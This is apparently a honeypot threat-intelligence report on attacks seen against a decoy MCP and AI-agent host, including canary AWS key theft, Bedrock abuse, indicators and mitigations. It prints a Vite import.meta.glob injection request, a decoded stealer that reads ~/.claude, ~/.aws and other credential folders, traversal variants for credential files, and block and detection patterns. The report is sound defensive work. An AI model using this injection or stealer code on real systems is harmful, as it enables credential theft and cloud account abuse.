28 Hours Later – What my MCP honeypots recorded

TLP:CLEAR— Disclosure is not limited. Recipients may share this report freely, subject to standard copyright rules (FIRST TLP 2.0).
FieldValue
Report typeHoneypot intelligence report (tactical + strategic)
Published2026-11-22
SensorsSensor 3 and Sensor 4, US
PlatformNECTAR, a custom MCP (Model Context Protocol) and AI-agent-host honeypot, with decoy .env, MCP config and AI-credential files seeded with AWS canary tokens
Observation window2026-11-21 18:34 UTC to 2026-11-22 22:24 UTC (~28 hours)
Data volume7,289 events · 512 unique source IPs · 100 canary-key API calls
Sensor addressesWithheld to protect collection
TLPCLEAR

Executive summary

AWS keys exposed in a decoy .env file on an AI-agent host were used against AWS 30 seconds after a distributed scanning wave downloaded them. The first calls were to AWS identity, secrets and Amazon Bedrock model APIs. Both seeded canary keys were stolen within 28 hours of the sensors going live, and the same infrastructure used both.

Key judgments:

  • A single toolchain harvests and abuses keys. Five IPs that sent Vite remote-code-execution probes to the sensors later used the stolen keys. 17 of the 21 key-user IPs shared one Boto3/Python build fingerprint across 14 hosting and residential networks in 12 countries (high confidence).
  • The Vite exploit is a credential stealer for AI developers. The payload abuses Vite’s /@id/__vite-browser-external: path with an import.meta.glob injection. It reads files from ~/.claude, ~/.codex, ~/.gemini, ~/.openclaw, ~/.continue, ~/.n8n, ~/.qwen, ~/.deepseek, ~/.9router, ~/.aws and ~/.kube (high confidence).
  • Bedrock is a priority target. 37 of 100 key calls were Bedrock InvokeModel/Converse, and InvokeModel was the first call ever made with key A. This fits LLMjacking, the resale of stolen model access (high confidence).
  • Coding-agent credentials are scanned for by name. One actor sent about 20 path-traversal variants for ~/.claude/.credentials.json on four occasions across both sensors (high confidence).
  • Stolen LLM endpoints are checked for tool calling. One actor queried the fake LLM API every ~20 minutes with “Reply with exactly ROUTER_OK 323” and “Use the multiply tool” prompts. That looks like qualifying endpoints for an LLM router or reseller (moderate confidence).

Collection and methodology

NECTAR is a custom honeypot that presents as an AI-agent operations host. It serves an MCP server over Streamable HTTP and SSE, Ollama and OpenAI-compatible LLM APIs, and decoy secrets. Each sensor’s decoy .env held a unique AWS access key generated as a Thinkst Canarytoken. Any API call with one of those keys raises an alert with the source IP, user agent and API action.

SensorRegionLive from (UTC)EventsUnique IPs
Sensor 3US 2026-11-22 03:461,773219
Sensor 4US 2026-11-21 18:345,516334
Canary keyAccount IDFirst use (UTC)Calls exportedSource IPs
Key A0746814458502026-11-22 03:42:295011
Key B2654139466512026-11-22 20:18:525016

The account IDs are canary infrastructure, not victims. The operator’s own test traffic was removed. Canary alert timestamps are UTC. Each export hit 50 rows, so total abuse may be higher.

Canary key theft timeline

Key B shows the full chain on Sensor 3: a scan, Vite exploit probes, then a mass download of .env by 18 IPs in seven seconds. The first AWS call followed 30 seconds later. Key A on Sensor 4 shows the same order with a longer delay. Both chains are reconstructed from sensor logs and canary alerts (all UTC).

Key B (Sensor 3, 2026-11-22)

TimeSourceEvent
20:15:4949.232.102.49Scan: /@id/__vite-browser-external:path, /@vite/client, /.env, /actuator/env
20:18:16129.212.191.119Vite import.meta.glob exploit probe (stealer payload)
20:18:17195.136.69.169Vite exploit probe, X11 user-agent variant
20:18:22–2918 IPs, mostly cloud/VPS (DigitalOcean, Azure, AWS, GCP, OVH, Tencent and others)Same 5-request scan, each fetching /.env
20:18:5235.232.229.118First canary use: Bedrock InvokeModel
20:19:57–20:24:3016 IPs49 more calls: GetCallerIdentity, ListSecrets, DescribeParameters, ListAttachedUserPolicies, ListUserPolicies, ListGroupsForUser, ListBuckets, ListFunctions, ListClusters, InvokeModel
20:20:53, 20:21:41115.84.170.14Canary use (ListBuckets), then a Vite exploit probe against Sensor 3 from the same IP

Key A (Sensor 4, 2026-11-21 to 22)

TimeSourceEvent
11-21 21:25:55164.90.188.185Vite / .env / /proc/self/environ scan, .env downloaded
11-21 21:26:53–21:28:13188.40.126.118, 94.24.55.131, 20.240.201.114Vite exploit probes
11-22 03:42:2935.232.229.118First canary use: InvokeModel (python-httpx/0.28.1)
11-22 09:07:085.189.165.83Repeat scan, .env downloaded again
11-22 09:08:03–04188.40.126.118, 20.240.201.114Vite exploit probes
11-22 09:10:14–09:11:067 IPsBoto3 enumeration burst: identity, IAM, secrets, SSM, Lambda, EKS, S3, Bedrock
11-22 10:46–10:513 Tencent Cloud Singapore IPsSeparate tooling: GetCallerIdentity, ListFoundationModels, Converse, ListSecrets
11-22 22:18:11135.136.38.43 (M247, Sofia)GetCallerIdentity, aarch64 Boto3 build

The key was not attributed to a sensor in the canary alert itself. Sensor 4 is the only plausible source of Key A: Sensor 3 came online at 03:46, four minutes after Key A was first used. Censys also read the MCP resource file:///app/.env on both sensors through resources/read, so internet-scan datasets are a second possible exposure path.

Vite RCE credential stealer

The exploit probes deliver a JavaScript payload that reads AI-agent and cloud credential directories from the developer’s home folder and returns them base64-encoded. They target Vite dev servers on port 3000. Both sensors returned HTTP 404, so the attackers did not proceed further.

Request shape. Each payload is sent as a single GET request:

GET /@id/__vite-browser-external:`);}});
import.meta.glob("/*",{[{toString:Function`return Function(globalThis.Buffer.from("<base64url>","base64url").toString())()`}]:1});
var z=new Proxy({}, {get(_, key) {throw new Error(`?import

The string first breaks out of Vite’s generated module source. It then smuggles a function into an import.meta.glob options object whose computed key calls toString. The result is returned to the attacker prefixed with RCE_B64:.

Decoded stealer stage (lightly formatted):

const P = globalThis.process, m = P.getBuiltinModule; if (!m) return "NO";
const fs = m("fs"), os = m("os"), pt = m("path"), h = os.homedir(), o = [];
for (const sub of [".codex", ".openclaw", ".openclaw/credentials", ".gemini", ".claude",
                   ".continue", ".n8n", ".aws", ".kube", ".deepseek", ".qwen", ".9router"]) {
  // read every regular file (skipping sqlite/.db), first 2,500 bytes each
  o.push("FILE:" + fp + "\n" + fs.readFileSync(fp, "utf8").slice(0, 2500));
}
return o.join("\n");

Other stages. Some probes only set globalThis._lc = new Array(12) and return OK, which looks like a liveness check. Others write an encrypted 1–2 KB blob into globalThis._c[0], _pc[0] or _lhc[0]. That points to a staged loader that assembles a larger payload in memory over several requests.

Two client variants were seen, often within one second of each other:

VariantUser-AgentWrapperExample sources
AMozilla/5.0`);}); + "RCE_B64:"+… outside the try188.40.126.118, 129.212.191.119, 45.192.213.3, 179.127.11.202
BMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36`);}}); + try/catch returning ERR:94.24.55.131, 20.240.201.114, 192.98.127.73, 195.136.69.169, 115.84.170.14

Every Variant B source in this window was also an AWS canary-key user. The probes were preceded by a 5-request scan from a separate set of IPs: /@id/__vite-browser-external:path, /@vite/client, /.env, then /proc/self/environ or /actuator/env. Variants of the scan added /_nuxt/@vite/client, /.env.local, /.env.production, /app/.env and Gradio /file=/proc/self/environ paths. The pattern points to one platform that separates scanning, exploitation and key use across different hosts.

Key-abuse infrastructure and tooling

The user-agent string identifies the key-abuse toolkit more reliably than the IPs do. The same Boto3 build appeared from 17 IPs spanning cloud providers and residential ISPs, so the operator is probably routing through rented VPS and residential proxies.

ClusterUser-Agent fingerprintNetworksUsed
MainBoto3/1.44.9 md/Botocore#1.44.9 ua/2.1 os/linux#6.8.0-149-generic md/arch#x86_64 lang/python#3.12.3 … cfg/retry-mode#standard plus python-httpx/0.28.1 for BedrockGoogle Cloud, Hetzner, Contabo, Cyber_Folks, Microsoft, Selectel, IENS (HK), I Seven (IN), plus residential ISPs NapaNet (US), DIGI (RO), Movistar (CO), LINQ (BR), BESTGO (PL), Eltrona (LU)Keys A + B
Tencent SGBoto3/1.43.114 … os/linux#6.6.117-45.14.1.tl4.x86_64 lang/python#3.14.7 … cfg/retry-mode#legacy (TencentOS)Tencent Cloud Singapore (150.109.18.216, 43.163.118.228, 43.156.248.66)Key A
SingleBoto3/1.43.123 … os/linux#7.0.0-43-generic md/arch#aarch64 lang/python#3.13.18M247 Sofia (135.136.38.43)Key A

Six IPs used both keys: 35.232.229.118, 37.60.247.177, 94.24.55.131, 206.81.100.145, 91.98.33.179 and 20.240.201.114.

Call pattern. Each burst runs the same checklist within about 90 seconds, spread round-robin across proxies, often less than a second apart:

  1. GetCallerIdentity, to confirm the key works.
  2. ListAttachedUserPolicies, ListUserPolicies, ListGroupsForUser and ListUsers, to size up permissions.
  3. ListSecrets and DescribeParameters, to find more credentials.
  4. ListBuckets, ListFunctions and ListClusters, to find assets.
  5. Bedrock InvokeModel and Converse, to test model access.

The Tencent cluster also called ListFoundationModels before Converse. Rotating source IPs between consecutive calls defeats per-IP rate limits and complicates CloudTrail triage.

Other AI-infrastructure targeting

Beyond the Vite stealer, the sensors saw three other kinds of AI-focused activity. One actor searched for coding-agent credential files, several validated LLM endpoints, and many scanners enumerated MCP servers. No actor called an MCP tool (tools/call) during the window.

Claude Code credential traversal: 87.192.41.180. This actor made four passes, at 08:56 and 12:09 on Sensor 3 and at 09:00 and 11:49 on Sensor 4. Each pass sent about 20 encodings of a traversal to .claude/.credentials.json, where Claude Code stores OAuth tokens. It tried the web root, ../ to ../../../, %2e%2e/, %2e%2e%2f and ..%2f, and absolute paths under /root, /home/ubuntu, /home/debian, /home/admin and /home/claude. The user agent was desktop Chrome on Windows.

LLM endpoint validators

SourceBehavior
45.112.149.170Polled /api/tags about every 20 min on both sensors (198 probes, Go-http-client/1.1). Sent /v1/chat/completions prompts to llama3.3:70b and qwen2.5-coder:32b: “Reply with exactly ROUTER_OK 323” and “Use the multiply tool to calculate 17 times 19. Do not calculate it yourself.” This tests whether an endpoint can serve tool-calling traffic for a router or reseller.
103.215.75.173"hi", max_tokens: 5 to meta-llama/Llama-3.3-70B-Instruct and Qwen/Qwen2.5-Coder-32B-Instruct
43.134.172.85 (Tencent)Chinese-language prompt (“Capital of France? City name only”) to Llama-3.3-70B. The same IP also harvested .env, /app/.env and /config/.env on both sensors.
58.230.189.186“Say hello in one word” to llama3.3:70b and qwen2.5-coder:32b (portScout UA)
186.241.117.180“What is 17*23? Reply with the number only” to Ollama /api/generate

MCP enumeration. 23 MCP initialize handshakes were logged, followed by tools/list, prompts/list and resources/list. Clients identified as client, test-client, internet-census-mcp-scanner and CensysInspect. Infrawatch ran coordinated sweeps from about 15 IPs within one second, each IP doing one MCP verb. 106.63.26.0/24 opened SSE sessions (/sse then /messages/?session_id=) and requested /get_server_info. Censys read file:///app/config/settings.yaml and file:///app/.env through resources/read.

Config harvesting. 185.177.72.29 (curl/8.7.1) requested /mcp.json and about 50 framework config backups (main-local.php.bak and .old under environments/{dev,prod}).

MITRE ATT&CK mapping

TacticTechniqueObserved as
ReconnaissanceT1595.002 Active Scanning: Vulnerability Scanning5-request Vite / .env / environ scan; MCP and LLM API sweeps
Initial AccessT1190 Exploit Public-Facing ApplicationVite import.meta.glob injection via /@id/__vite-browser-external:
ExecutionT1059.007 JavaScriptNode.js payload via Function() and process.getBuiltinModule
Credential AccessT1552.001 Unsecured Credentials: Credentials In Files.env, .claude/.credentials.json, ~/.aws, ~/.kube, AI-agent config dirs
Credential AccessT1552 Unsecured Credentials (environment variables)/proc/self/environ, /actuator/env, Gradio file=
Initial Access / PersistenceT1078.004 Valid Accounts: Cloud AccountsStolen AWS keys used within 30 s
DiscoveryT1087.004 Account Discovery: Cloud AccountGetCallerIdentity, ListUsers, ListGroupsForUser
DiscoveryT1069.003 Permission Groups Discovery: Cloud GroupsListAttachedUserPolicies, ListUserPolicies
DiscoveryT1580 Cloud Infrastructure DiscoveryListBuckets, ListFunctions, ListClusters
Credential AccessT1555.006 Credentials from Password Stores: Cloud Secrets ManagementListSecrets, DescribeParameters
ImpactT1496.004 Resource Hijacking: Cloud Service HijackingBedrock InvokeModel / Converse (LLMjacking)
Command and ControlT1090.002 / T1090.003 External / Multi-hop ProxyRound-robin across 17 VPS and residential IPs

Indicators of compromise

There are 61 IPs, tagged by role. Many harvesters are likely compromised cloud VMs, and some key users are residential proxies, so treat these as time-bound, not permanent blocks. The user-agent fingerprints and request patterns will last longer.

Behavioral and string indicators

  • URL path prefix /@id/__vite-browser-external: containing a backtick or import.meta.glob (exploit), or ending in :path (scan)
  • Response or payload marker RCE_B64:; globals globalThis._c, _pc, _lhc, _lc
  • Scan sequence /@id/__vite-browser-external:path → /@vite/client → /.env → /proc/self/environ or /actuator/env, all with UA exactly Mozilla/5.0
  • Traversal to .claude/.credentials.json (raw, %2e%2e/ and ..%2f forms)
  • LLM prompt strings ROUTER_OK 323 and “Use the multiply tool to calculate 17 times 19”
  • AWS user agent Boto3/1.44.9 md/Botocore#1.44.9 ua/2.1 os/linux#6.8.0-149-generic md/arch#x86_64 lang/python#3.12.3
  • AWS user agent Boto3/1.43.114 … os/linux#6.6.117-45.14.1.tl4.x86_64 lang/python#3.14.7
  • python-httpx/0.28.1 calling Bedrock InvokeModel / Converse

IP indicators (S3/S4 = sensor; keyA/keyB = canary key used)

indicator,role,first_seen_utc,seen_on
186.241.117.180,llm-endpoint-validator,2026-11-21T18:49:47Z,S4
164.90.188.185,env-harvester,2026-11-21T21:25:55Z,S4
188.40.126.118,vite-rce-stealer-probe,2026-11-21T21:26:53Z,S4
94.24.55.131,aws-canary-key-abuse;vite-rce-stealer-probe,2026-11-21T21:26:54Z,keyA;keyB;S4
20.240.201.114,aws-canary-key-abuse;vite-rce-stealer-probe,2026-11-21T21:28:13Z,keyA;keyB;S4
185.177.72.29,config-harvester,2026-11-21T21:59:37Z,S4
45.112.149.170,llm-endpoint-validator,2026-11-22T03:06:57Z,S3;S4
35.232.229.118,aws-canary-key-abuse,2026-11-22T03:42:29Z,keyA;keyB
37.60.247.177,aws-canary-key-abuse,2026-11-22T03:43:21Z,keyA;keyB
206.81.100.145,aws-canary-key-abuse,2026-11-22T03:44:07Z,keyA;keyB
103.215.75.173,llm-endpoint-validator,2026-11-22T04:50:33Z,S4
87.192.41.180,claude-cred-traversal,2026-11-22T08:56:35Z,S3;S4
5.189.165.83,env-harvester,2026-11-22T09:07:08Z,S4
91.98.33.179,aws-canary-key-abuse,2026-11-22T09:10:14Z,keyA;keyB
43.134.172.85,env-harvester;llm-endpoint-validator,2026-11-22T09:10:55Z,S3;S4
2a01:4f8:c013:5662::1,aws-canary-key-abuse,2026-11-22T09:11:02Z,keyA
150.109.18.216,aws-canary-key-abuse,2026-11-22T10:46:36Z,keyA
43.163.118.228,aws-canary-key-abuse,2026-11-22T10:47:09Z,keyA
43.156.248.66,aws-canary-key-abuse,2026-11-22T10:51:21Z,keyA
158.23.162.152,env-harvester,2026-11-22T11:24:20Z,S3
165.140.238.132,env-harvester,2026-11-22T11:36:33Z,S3
58.230.189.186,llm-endpoint-validator,2026-11-22T13:40:47Z,S4
62.171.136.158,env-harvester,2026-11-22T14:42:24Z,S4
169.231.54.12,env-harvester,2026-11-22T15:25:01Z,S3
45.192.213.3,vite-rce-stealer-probe,2026-11-22T15:25:49Z,S3
192.98.127.73,aws-canary-key-abuse;vite-rce-stealer-probe,2026-11-22T15:25:50Z,keyB;S3
2.29.0.89,env-harvester,2026-11-22T15:26:00Z,S3
15.252.98.45,env-harvester,2026-11-22T15:26:03Z,S3
185.182.184.26,env-harvester,2026-11-22T15:31:40Z,S3
66.245.172.17,env-harvester,2026-11-22T17:24:18Z,S4
43.228.157.56,env-harvester,2026-11-22T19:38:49Z,S4
49.232.102.49,env-harvester,2026-11-22T20:15:49Z,S3
129.212.191.119,vite-rce-stealer-probe,2026-11-22T20:18:16Z,S3
195.136.69.169,aws-canary-key-abuse;vite-rce-stealer-probe,2026-11-22T20:18:17Z,keyB;S3
23.88.63.188,env-harvester,2026-11-22T20:18:22Z,S3
51.254.124.101,env-harvester,2026-11-22T20:18:22Z,S3
145.241.223.145,env-harvester,2026-11-22T20:18:22Z,S3
31.70.151.177,env-harvester,2026-11-22T20:18:23Z,S3
174.138.183.88,env-harvester,2026-11-22T20:18:23Z,S3
159.89.94.232,env-harvester,2026-11-22T20:18:23Z,S3
137.184.170.85,env-harvester,2026-11-22T20:18:23Z,S3
144.202.52.123,env-harvester,2026-11-22T20:18:24Z,S3
98.70.32.107,env-harvester,2026-11-22T20:18:24Z,S3
20.244.12.77,env-harvester,2026-11-22T20:18:24Z,S3
65.2.143.213,env-harvester,2026-11-22T20:18:24Z,S3
13.207.164.202,env-harvester,2026-11-22T20:18:24Z,S3
34.143.153.204,env-harvester,2026-11-22T20:18:25Z,S3
188.166.224.45,env-harvester,2026-11-22T20:18:25Z,S3
163.176.41.61,env-harvester,2026-11-22T20:18:25Z,S3
43.157.211.169,env-harvester,2026-11-22T20:18:28Z,S3
178.104.73.250,aws-canary-key-abuse,2026-11-22T20:19:57Z,keyB
86.125.220.199,aws-canary-key-abuse,2026-11-22T20:19:58Z,keyB
185.175.46.92,aws-canary-key-abuse,2026-11-22T20:20:48Z,keyB
177.200.44.92,aws-canary-key-abuse,2026-11-22T20:20:50Z,keyB
115.84.170.14,aws-canary-key-abuse;vite-rce-stealer-probe,2026-11-22T20:20:53Z,keyB;S3
45.202.5.25,aws-canary-key-abuse,2026-11-22T20:20:56Z,keyB
186.115.220.210,aws-canary-key-abuse,2026-11-22T20:21:09Z,keyB
179.127.11.202,vite-rce-stealer-probe,2026-11-22T20:21:39Z,S3
139.159.212.171,env-harvester,2026-11-22T20:22:11Z,S3
2a06:4944:17fe:5300:e284:642d:4a6a:9395,aws-canary-key-abuse,2026-11-22T20:23:43Z,keyB
135.136.38.43,aws-canary-key-abuse,2026-11-22T22:18:11Z,keyA

Detection and mitigation

Assume that any secret readable from a web-exposed dev server or .env file is tested against AWS within a minute. Rotate first, then investigate.

  1. Never expose Vite, Nuxt or other dev servers to the internet. Bind to 127.0.0.1 (Vite’s default without --host), keep Vite patched, and put remote dev environments behind a VPN or an authenticating proxy.
  2. Keep secrets out of web roots and process environments that can be read remotely. Block /.env*, /proc/self/environ, /actuator/env and /@id/__vite-browser-external: at the WAF or reverse proxy, and alert on them.
  3. Protect AI-agent credential directories. On dev hosts that serve anything publicly, treat ~/.claude, ~/.codex, ~/.gemini, ~/.continue, ~/.n8n, ~/.aws and ~/.kube as high-value. Prefer short-lived credentials (SSO, IAM Identity Center, aws sso login) over long-lived keys on disk. Revoke and reissue agent OAuth tokens if a dev server was ever exposed.
  4. CloudTrail detections:
    • GetCallerIdentity followed within 5 minutes by ListSecrets, DescribeParameters or ListAttachedUserPolicies from a different source IP
    • One access key used from 3 or more ASNs within 10 minutes
    • bedrock:InvokeModel, Converse or ListFoundationModels from principals that never use Bedrock
    • The Boto3 user-agent strings in the IOC section
  5. Restrict Bedrock. Use SCPs to deny bedrock:* in accounts and regions that don’t need it, and enable model invocation logging where Bedrock is used.
  6. Seed canaries. Put AWS canary keys in .env, CI variables and agent config directories. In this case they turned a 30-second compromise into a full timeline.
  7. MCP servers. Require authentication on Streamable HTTP and SSE endpoints. Don’t expose resources/read for files that contain secrets: scanners such as Censys already read file:///app/.env through MCP.

Confidence, limitations and handling

  • Confidence. High for the event sequence, payload contents and user-agent fingerprints, which come directly from sensor logs and canary alerts. High that the Key B harvest and abuse are linked: 30-second gap, shared IPs. Moderate that Key A came from Sensor 4’s .env rather than the MCP resources/read path. Low on actor identity: no attribution to a named group is made.
  • Limitations. The window is about 28 hours. Both canary exports hit 50 rows, so abuse volume may be undercounted. The honeypot returned 404 to the Vite exploit, so later stages and any exfiltration endpoint were not observed. Key-user IPs are likely proxies.
  • Handling. TLP:CLEAR. Sensor IP addresses are withheld. The canary account IDs belong to canary infrastructure and are included so other defenders can correlate. Sightings of the Boto3 fingerprints or RCE_B64: payloads are welcome.

Help keep the honeypots running: https://ko-fi.com/gettingphishedsucks

Comments

Leave a Reply